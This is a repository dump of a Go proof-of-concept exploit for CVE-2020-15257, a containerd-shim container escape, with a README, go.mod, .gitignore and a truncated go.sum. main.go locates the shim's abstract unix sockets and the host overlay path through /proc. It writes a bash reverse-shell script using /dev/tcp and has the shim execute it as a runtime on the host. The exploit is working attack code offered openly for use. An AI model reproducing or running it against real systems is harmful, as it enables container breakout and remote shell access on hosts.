├── README.md ├── CVE-2020-15257 ├── README.md ├── go.mod ├── main.go ├── go.sum └── shim.pb.go ├── .gitignore └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | # exploits-open 2 | 3 | ## Available exploits 4 | - CVE-2020-15257 5 | 6 | ## Available proof of concepts 7 | -------------------------------------------------------------------------------- /CVE-2020-15257/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-15257 POC 2 | 3 | ## Build 4 | ``` 5 | go get github.com/containerd/ttrpc 6 | go get -v github.com/containerd/containerd 7 | go build . 8 | ``` 9 | -------------------------------------------------------------------------------- /CVE-2020-15257/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/summershrimp/exploits/CVE-2020-15257 2 | 3 | go 1.12 4 | 5 | require ( 6 | github.com/Microsoft/go-winio v0.4.15 // indirect 7 | github.com/Microsoft/hcsshim v0.8.10 // indirect 8 | github.com/containerd/containerd v1.3.7 9 | github.com/containerd/continuity v0.0.0-20201201154230-62ef0fffa6a1 // indirect 10 | github.com/containerd/fifo v0.0.0-20201026212402-0724c46b320c // indirect 11 | github.com/containerd/ttrpc v1.0.0 12 | github.com/containerd/typeurl v1.0.1 // indirect 13 | github.com/docker/distribution v2.7.1+incompatible // indirect 14 | github.com/docker/go-events v0.0.0-20190806004212-e31b211e4f1c // indirect 15 | github.com/gogo/googleapis v1.4.0 // indirect 16 | github.com/gogo/protobuf v1.3.1 17 | github.com/opencontainers/image-spec v1.0.1 // indirect 18 | github.com/opencontainers/runc v0.1.1 // indirect 19 | github.com/opencontainers/runtime-spec v1.0.2 // indirect 20 | github.com/prometheus/procfs v0.0.0-20190522114515-bc1a522cf7b1 // indirect 21 | github.com/stretchr/objx v0.1.1 // indirect 22 | github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635 // indirect 23 | golang.org/x/sys v0.0.0-20200120151820-655fe14d7479 // indirect 24 | google.golang.org/genproto v0.0.0-20200117163144-32f20d992d24 // indirect 25 | google.golang.org/grpc v1.26.0 // indirect 26 | ) 27 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | !go.mod 48 | *.cmd 49 | .tmp_versions/ 50 | modules.order 51 | Module.symvers 52 | Mkfile.old 53 | dkms.conf 54 | 55 | *.test 56 | 57 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider 58 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 59 | 60 | # User-specific stuff 61 | .idea/**/workspace.xml 62 | .idea/**/tasks.xml 63 | .idea/**/usage.statistics.xml 64 | .idea/**/dictionaries 65 | .idea/**/shelf 66 | 67 | # Generated files 68 | .idea/**/contentModel.xml 69 | 70 | # Sensitive or high-churn files 71 | .idea/**/dataSources/ 72 | .idea/**/dataSources.ids 73 | .idea/**/dataSources.local.xml 74 | .idea/**/sqlDataSources.xml 75 | .idea/**/dynamic.xml 76 | .idea/**/uiDesigner.xml 77 | .idea/**/dbnavigator.xml 78 | 79 | # Gradle 80 | .idea/**/gradle.xml 81 | .idea/**/libraries 82 | 83 | # Gradle and Maven with auto-import 84 | # When using Gradle or Maven with auto-import, you should exclude module files, 85 | # since they will be recreated, and may cause churn. Uncomment if using 86 | # auto-import. 87 | # .idea/artifacts 88 | # .idea/compiler.xml 89 | # .idea/jarRepositories.xml 90 | # .idea/modules.xml 91 | # .idea/*.iml 92 | # .idea/modules 93 | # *.iml 94 | # *.ipr 95 | 96 | # CMake 97 | cmake-build-*/ 98 | 99 | # Mongo Explorer plugin 100 | .idea/**/mongoSettings.xml 101 | 102 | # File-based project format 103 | *.iws 104 | 105 | # IntelliJ 106 | out/ 107 | 108 | # mpeltonen/sbt-idea plugin 109 | .idea_modules/ 110 | 111 | # JIRA plugin 112 | atlassian-ide-plugin.xml 113 | 114 | # Cursive Clojure plugin 115 | .idea/replstate.xml 116 | 117 | # Crashlytics plugin (for Android Studio and IntelliJ) 118 | com_crashlytics_export_strings.xml 119 | crashlytics.properties 120 | crashlytics-build.properties 121 | fabric.properties 122 | 123 | # Editor-based Rest Client 124 | .idea/httpRequests 125 | 126 | # Android studio 3.1+ serialized cache file 127 | .idea/caches/build_file_checksums.ser 128 | 129 | .vscode/* 130 | *.code-workspace 131 | 132 | # Local History for Visual Studio Code 133 | .history/ 134 | -------------------------------------------------------------------------------- /CVE-2020-15257/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "io/ioutil" 7 | "log" 8 | "net" 9 | "regexp" 10 | "strings" 11 | 12 | types1 "github.com/containerd/containerd/api/types" 13 | "github.com/containerd/ttrpc" 14 | ) 15 | 16 | func exp(sock string, containerid string, hostPath string) bool { 17 | sock = strings.Replace(sock, "@", "", -1) 18 | conn, err := net.Dial("unix", "\x00"+sock) 19 | if err != nil { 20 | log.Println(err) 21 | return false 22 | } 23 | 24 | client := ttrpc.NewClient(conn) 25 | shimClient := NewShimClient(client) 26 | ctx := context.Background() 27 | info, err := shimClient.State(ctx, &StateRequest{ 28 | ID: containerid, 29 | }) 30 | if err != nil { 31 | log.Println("rpc error:", err) 32 | return false 33 | } 34 | 35 | //log.Println("current container info:", info) 36 | mounts := make([]*types1.Mount, 0) 37 | mounts = append(mounts, &types1.Mount{ 38 | Type: "bind", 39 | Source: "/mnt", 40 | }) 41 | log.Println("exploit path on host:", hostPath+"/exploit") 42 | newTask, err := shimClient.Create(ctx, &CreateTaskRequest{ 43 | ID: "hdsfjashdfjhaskjdfhkj", 44 | Bundle: info.Bundle, 45 | Runtime: hostPath + "/exploit", 46 | Terminal: false, 47 | }) 48 | 49 | if err != nil { 50 | log.Println("rpc error:", err) 51 | return false 52 | } 53 | 54 | log.Println("new task info:", newTask) 55 | return true 56 | } 57 | 58 | func getContainerID() (string, error) { 59 | data, err := ioutil.ReadFile("/proc/self/cgroup") 60 | if err != nil { 61 | return "", err 62 | } 63 | cgroupData := string(data) 64 | lines := strings.Split(cgroupData, "\n") 65 | cgmatch, err := regexp.Compile(".*:pids:/docker/(.*)") 66 | containerid := "" 67 | for _, l := range lines { 68 | match := cgmatch.FindStringSubmatch(l) 69 | if len(match) == 0 { 70 | continue 71 | } 72 | containerid = match[1] 73 | } 74 | 75 | if containerid == "" { 76 | return "", errors.New("Container id not found") 77 | } 78 | 79 | return containerid, nil 80 | } 81 | 82 | func getShimSockets() ([][]byte, error) { 83 | re, err := regexp.Compile("@/containerd-shim/.*\\.sock") 84 | if err != nil { 85 | return nil, err 86 | } 87 | data, err := ioutil.ReadFile("/proc/net/unix") 88 | matches := re.FindAll(data, -1) 89 | if matches == nil { 90 | return nil, errors.New("cannot find vulnerable socket") 91 | } 92 | return matches, nil 93 | } 94 | 95 | func getHostPath() (string, error) { 96 | re, err := regexp.Compile("overlay.*,workdir=(.*/)work") 97 | if err != nil { 98 | return "", err 99 | } 100 | data, err := ioutil.ReadFile("/proc/mounts") 101 | matches := re.FindSubmatch(data) 102 | if matches == nil { 103 | return "", errors.New("cannot find Host Path") 104 | } 105 | return string(matches[1]) + "merged", nil 106 | } 107 | 108 | func main() { 109 | 110 | err := ioutil.WriteFile("/exploit", []byte("#!/bin/bash\nsetsid bash -c 'sh >& /dev/tcp/127.0.0.1/8080 0>&1' &\n"), 0777) 111 | if err != nil { 112 | log.Fatalln(err) 113 | } 114 | containerid, err := getContainerID() 115 | if err != nil { 116 | log.Fatalln(err) 117 | } 118 | log.Println("Current container id:", containerid) 119 | 120 | matchset := make(map[string]bool) 121 | socks, err := getShimSockets() 122 | if err != nil { 123 | log.Fatalln(err) 124 | } 125 | hostPath, err := getHostPath() 126 | if err != nil { 127 | log.Fatalln(err) 128 | } 129 | log.Println("Host path:", hostPath) 130 | for _, b := range socks { 131 | sockname := string(b) 132 | if _, ok := matchset[sockname]; ok { 133 | continue 134 | } 135 | log.Println("try socket:", sockname) 136 | matchset[sockname] = true 137 | if exp(sockname, containerid, hostPath) { 138 | break 139 | } 140 | } 141 | 142 | return 143 | } 144 | -------------------------------------------------------------------------------- /CVE-2020-15257/go.sum: -------------------------------------------------------------------------------- 1 | bazil.org/fuse v0.0.0-20160811212531-371fbbdaa898/go.mod h1:Xbm+BRKSBEpa4q4hTSxohYNQpsxXPbPry4JJWOB3LB8= 2 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 3 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 4 | github.com/Microsoft/go-winio v0.4.15-0.20200908182639-5b44b70ab3ab/go.mod h1:tTuCMEN+UleMWgg9dVx4Hu52b1bJo+59jBh3ajtinzw= 5 | github.com/Microsoft/go-winio v0.4.15 h1:qkLXKzb1QoVatRyd/YlXZ/Kg0m5K3SPuoD82jjSOaBc= 6 | github.com/Microsoft/go-winio v0.4.15/go.mod h1:tTuCMEN+UleMWgg9dVx4Hu52b1bJo+59jBh3ajtinzw= 7 | github.com/Microsoft/hcsshim v0.8.10 h1:k5wTrpnVU2/xv8ZuzGkbXVd3js5zJ8RnumPo5RxiIxU= 8 | github.com/Microsoft/hcsshim v0.8.10/go.mod h1:g5uw8EV2mAlzqe94tfNBNdr89fnbD/n3HV0OhsddkmM= 9 | github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= 10 | github.com/cilium/ebpf v0.0.0-20200110133405-4032b1d8aae3/go.mod h1:MA5e5Lr8slmEg9bt0VpxxWqJlO4iwu3FBdHUzV7wQVg= 11 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 12 | github.com/containerd/cgroups v0.0.0-20200531161412-0dbf7f05ba59 h1:qWj4qVYZ95vLWwqyNJCQg7rDsG5wPdze0UaPolH7DUk= 13 | github.com/containerd/cgroups v0.0.0-20200531161412-0dbf7f05ba59/go.mod h1:pA0z1pT8KYB3TCXK/ocprsh7MAkoW8bZVzPdih9snmM= 14 | github.com/containerd/console v0.0.0-20180822173158-c12b1e7919c1/go.mod h1:Tj/on1eG8kiEhd0+fhSDzsPAFESxzBBvdyEgyryXffw= 15 | github.com/containerd/containerd v1.3.2/go.mod h1:bC6axHOhabU15QhwfG7w5PipXdVtMXFTttgp+kVtyUA= 16 | github.com/containerd/containerd v1.3.7 h1:eFSOChY8TTcxvkzp8g+Ov1RL0MYww7XEeK0y+zqGpVc= 17 | github.com/containerd/containerd v1.3.7/go.mod h1:bC6axHOhabU15QhwfG7w5PipXdVtMXFTttgp+kVtyUA= 18 | github.com/containerd/containerd v1.4.3 h1:ijQT13JedHSHrQGWFcGEwzcNKrAGIiZ+jSD5QQG07SY= 19 | github.com/containerd/containerd v1.4.3/go.mod h1:bC6axHOhabU15QhwfG7w5PipXdVtMXFTttgp+kVtyUA= 20 | github.com/containerd/continuity v0.0.0-20190426062206-aaeac12a7ffc/go.mod h1:GL3xCUCBDV3CZiTSEKksMWbLE66hEyuu9qyDOOqM47Y= 21 | github.com/containerd/continuity v0.0.0-20201201154230-62ef0fffa6a1 h1:fGpuxZQxxfn1T5kag0IKozsamBubY+NNh+dRaRU5f4s= 22 | github.com/containerd/continuity v0.0.0-20201201154230-62ef0fffa6a1/go.mod h1:W0qIOTD7mp2He++YVq+kgfXezRYqzP1uDuMVH1bITDY= 23 | github.com/containerd/fifo v0.0.0-20190226154929-a9fb20d87448/go.mod h1:ODA38xgv3Kuk8dQz2ZQXpnv/UZZUHUCL7pnLehbXgQI= 24 | github.com/containerd/fifo v0.0.0-20201026212402-0724c46b320c h1:1c6xmkNiu6Jnr6AKGM91GGNsfU+nPNFvw9BZFSo0E+c= 25 | github.com/containerd/fifo v0.0.0-20201026212402-0724c46b320c/go.mod h1:jPQ2IAeZRCYxpS/Cm1495vGFww6ecHmMk1YJH2Q5ln0= 26 | github.com/containerd/go-runc v0.0.0-20180907222934-5a6d9f37cfa3/go.mod h1:IV7qH3hrUgRmyYrtgEeGWJfWbgcHL9CSRruz2Vqcph0= 27 | github.com/containerd/ttrpc v0.0.0-20190828154514-0e0f228740de/go.mod h1:PvCDdDGpgqzQIzDW1TphrGLssLDZp2GuS+X5DkEJB8o= 28 | github.com/containerd/ttrpc v1.0.0 h1:NY8Zk2i7TpkLxrkOASo+KTFq9iNCEmMH2/ZG9OuOw6k= 29 | github.com/containerd/ttrpc v1.0.0/go.mod h1:PvCDdDGpgqzQIzDW1TphrGLssLDZp2GuS+X5DkEJB8o= 30 | github.com/containerd/ttrpc v1.0.2 h1:2/O3oTZN36q2xRolk0a2WWGgh7/Vf/liElg5hFYLX9U= 31 | github.com/containerd/ttrpc v1.0.2/go.mod h1:UAxOpgT9ziI0gJrmKvgcZivgxOp8iFPSk8httJEt98Y= 32 | github.com/containerd/typeurl v0.0.0-20180627222232-a93fcdb778cd/go.mod h1:Cm3kwCdlkCfMSHURc+r6fwoGH6/F1hH3S4sg0rLFWPc= 33 | github.com/containerd/typeurl v1.0.1 h1:PvuK4E3D5S5q6IqsPDCy928FhP0LUIGcmZ/Yhgp5Djw= 34 | github.com/containerd/typeurl v1.0.1/go.mod h1:TB1hUtrpaiO88KEK56ijojHS1+NeF0izUACaJW2mdXg= 35 | github.com/coreos/go-systemd/v22 v22.0.0/go.mod h1:xO0FLkIi5MaZafQlIrOotqXZ90ih+1atmu1JpKERPPk= 36 | github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 37 | github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 38 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 39 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 40 | github.com/docker/distribution v2.7.1+incompatible h1:a5mlkVzth6W5A4fOsS3D2EO5BUmsJpcB+cRlLU7cSug= 41 | github.com/docker/distribution v2.7.1+incompatible/go.mod h1:J2gT2udsDAN96Uj4KfcMRqY0/ypR+oyYUYmja8H+y+w= 42 | github.com/docker/go-events v0.0.0-20190806004212-e31b211e4f1c h1:+pKlWGMw7gf6bQ+oDZB4KHQFypsfjYlq/C4rfL7D3g8= 43 | github.com/docker/go-events v0.0.0-20190806004212-e31b211e4f1c/go.mod h1:Uw6UezgYA44ePAFQYUehOuCzmy5zmg/+nl2ZfMWGkpA= 44 | github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= 45 | github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= 46 | github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 47 | github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= 48 | github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= 49 | github.com/gogo/googleapis v1.4.0 h1:zgVt4UpGxcqVOw97aRGxT4svlcmdK35fynLNctY32zI= 50 | github.com/gogo/googleapis v1.4.0/go.mod h1:5YRNX2z1oM5gXdAkurHa942MDgEJyk02w4OecKY87+c= 51 | github.com/gogo/protobuf v1.3.1 h1:DqDEcV5aeaTmdFBePNpYsp3FlcVH/2ISVVM9Qf8PSls= 52 | github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o= 53 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 54 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 55 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 56 | github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 57 | github.com/golang/protobuf v1.3.2 h1:6nsPYzhq5kReh6QImI3k5qWzO4PEbvbIW2cwSfR/6xs= 58 | github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 59 | github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= 60 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 61 | github.com/google/uuid v1.1.2 h1:EVhdT+1Kseyi1/pUmXKaFxYsDNy9RQYkMWRH68J/W7Y= 62 | github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 63 | github.com/hashicorp/golang-lru v0.5.1 h1:0hERBMJE1eitiLkihrMvRVBYAkpHzc/J3QdDN+dAcgU= 64 | github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= 65 | github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= 66 | github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00= 67 | github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= 68 | github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= 69 | github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= 70 | github.com/konsorten/go-windows-terminal-sequences v1.0.3 h1:CE8S1cTafDpPvMhIxNJKvHsGVBgn1xWYf1NbHQhywc8= 71 | github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= 72 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 73 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 74 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 75 | github.com/opencontainers/go-digest v0.0.0-20180430190053-c9281466c8b2/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s= 76 | github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8Oi/yOhh5U= 77 | github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= 78 | github.com/opencontainers/image-spec v1.0.1 h1:JMemWkRwHx4Zj+fVxWoMCFm/8sYGGrUVojFA6h/TRcI= 79 | github.com/opencontainers/image-spec v1.0.1/go.mod h1:BtxoFyWECRxE4U/7sNtV5W15zMzWCbyJoFRP3s7yZA0= 80 | github.com/opencontainers/runc v0.0.0-20190115041553-12f6a991201f/go.mod h1:qT5XzbpPznkRYVz/mWwUaVBUv2rmF59PVA73FjuZG0U= 81 | github.com/opencontainers/runc v0.1.1 h1:GlxAyO6x8rfZYN9Tt0Kti5a/cP41iuiO2yYT0IJGY8Y= 82 | github.com/opencontainers/runc v0.1.1/go.mod h1:qT5XzbpPznkRYVz/mWwUaVBUv2rmF59PVA73FjuZG0U= 83 | github.com/opencontainers/runtime-spec v1.0.2 h1:UfAcuLBJB9Coz72x1hgl8O5RVzTdNiaglX6v2DM6FI0= 84 | github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0= 85 | github.com/opencontainers/selinux v1.6.0 h1:+bIAS/Za3q5FTwWym4fTB0vObnfCf3G/NC7K6Jx62mY= 86 | github.com/opencontainers/selinux v1.6.0/go.mod h1:VVGKuOLlE7v4PJyT6h7mNWvq1rzqiriPsEqVhc+svHE= 87 | github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 88 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 89 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 90 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 91 | github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= 92 | github.com/prometheus/procfs v0.0.0-20180125133057-cb4147076ac7/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= 93 | github.com/prometheus/procfs v0.0.0-20190522114515-bc1a522cf7b1/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= 94 | github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 95 | github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= 96 | github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= 97 | github.com/sirupsen/logrus v1.4.2 h1:SPIRibHv4MatM3XXNO2BJeFLZwZ2LvZgfQ5+UNI2im4= 98 | github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= 99 | github.com/sirupsen/logrus v1.6.0 h1:UBcNElsrwanuuMsnGSlYmtmgbb23qDR5dG+6X6Oo89I= 100 | github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= 101 | github.com/spf13/cobra v0.0.2-0.20171109065643-2da4a54c5cee/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ= 102 | github.com/spf13/pflag v1.0.1-0.20171106142849-4c012f6dcd95/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= 103 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 104 | github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 105 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 106 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 107 | github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635 h1:kdXcSzyDtseVEc4yCz2qF8ZrQvIDBJLl4S1c3GCXmoI= 108 | github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww= 109 | github.com/urfave/cli v1.22.2/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0= 110 | github.com/willf/bitset v1.1.11-0.20200630133818-d5bec3311243/go.mod h1:RjeCKbqT1RxIR/KWY6phxZiaY1IyutSBfGjNPySAYV4= 111 | go.opencensus.io v0.22.0 h1:C9hSCOW830chIVkdja34wa6Ky+IzWllkUinR+BtRZd4= 112 | go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= 113 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 114 | golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= 115 | golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= 116 | golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= 117 | golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= 118 | golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 119 | golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 120 | golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 121 | golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 122 | golang.org/x/net v0.0.0-20190311183353-d8887717615a h1:oWX7TPOiFAMXLq8o0ikBYfCJVlRHBcsciT5bXOrH628= 123 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 124 | golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 125 | golang.org/x/net v0.0.0-20191004110552-13f9640d40b9 h1:rjwSpXsdiK0dV8/Naq3kAw9ymfAeJIyd0upUIElB+lI= 126 | golang.org/x/net v0.0.0-20191004110552-13f9640d40b9/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 127 | golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= 128 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 129 | golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 130 | golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 131 | golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 132 | golang.org/x/sync v0.0.0-20190423024810-112230192c58 h1:8gQV6CLnAEikrhgkHFbMAEhagSSnXWGV915qUMm9mrU= 133 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 134 | golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 135 | golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 136 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 137 | golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod 